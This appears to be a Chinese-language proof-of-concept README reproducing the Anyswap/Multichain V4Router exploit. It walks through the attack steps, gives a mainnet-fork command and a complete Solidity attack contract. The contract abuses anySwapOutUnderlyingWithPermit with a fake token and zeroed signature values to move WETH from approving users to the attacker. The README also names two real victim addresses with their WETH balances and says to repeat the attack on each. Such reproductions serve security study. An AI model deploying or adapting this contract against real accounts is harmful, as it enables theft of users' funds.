Anyswap_Vul_Poc

Anyswap aka Multichain V4Router 攻击事件的分析和复现

攻击交易

0xd07c0f40eec44f7674dddf617cbdec4758f258b531e99b18b8ee3b3b95885e7d

块高度

14028474

攻击步骤

1. 攻击合约调用AnyswapV4Router的anySwapOutUnderlyingWithPermit函数,传入参数：

   1. 受害者地址
   2. 虚假的Token地址
   3. 攻击者的EOA地址
   4. amount=200000000000000000
   5. deadline=100000000000000000000
   6. v=0
   7. r=0x0000000000000000000000000000000000000000000000000000000000000000
   8. s=0x0000000000000000000000000000000000000000000000000000000000000000
   9. toChainID=56

2. 第一步会导致AnyswapV4Router调用虚假Token的underlying()函数, 虚假Token的返回值为：

   1. WETH的地址

3. 第一步中AnyswapV4Router还会调用虚假Token的depositVault()函数, 虚假Token的返回值为：

   1. 1

4. 第一步AnyswapV4Router最后会调用虚假Token的burn()函数, 虚假Token的返回值为：

   1. true

5. 绕过各种校验后, AnyswapV4Router把WETH从受害人的账户转入攻击者的EOA地址

复现方法

• fork

npx ganache-cli  --fork https://eth-mainnet.alchemyapi.io/v2/your_api_key@14028473  -l 4294967295

• 部署攻击合约

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.7.0 <0.9.0;

interface AnyswapV4Router {

    function anySwapOutUnderlyingWithPermit(
        address from,
        address token,
        address to,
        uint256 amount,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s,
        uint256 toChainID
    ) external;
    
}

interface WETH {

    function approve(address guy, uint256 wad) external returns (bool);

    function withdraw(uint256 wad) external;

    function balanceOf(address) external view returns (uint256);

    function transfer(address dst, uint256 wad) external returns (bool);

}



contract poc{

    address AnyswapV4Router_Address = 0x6b7a87899490EcE95443e979cA9485CBE7E71522;

    address WETH_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    function attack(address innocent_user, uint256 amount) public{

        AnyswapV4Router(AnyswapV4Router_Address).anySwapOutUnderlyingWithPermit(innocent_user,address(this),msg.sender,amount,100000000000000000000,0,"0x","0x",56);

        WETH(WETH_Address).transfer(msg.sender, amount);

    }


    function burn(address from, uint256 amount) external returns (bool){
        return true;
    }

    function depositVault(uint amount, address to) external returns (uint){
        return 1;
    }


    function underlying() external view returns (address){
        return WETH_Address;
    }

}

• 查询第一个受害者有多少WETH

该用户0x5136e623126d3572933fbafe59ae97f13dd9687a有大概5.7个WETH

• 调用POC合约的attack函数, 传入第一个受害人的地址和数量

• 查询第二个受害者有多少WETH

该用户0xa8a83c0a6fabadf21dbb1da1d9b24455c56f5573刚好有3个WETH, 并且之前与Anyswap交互过

• 同样的操作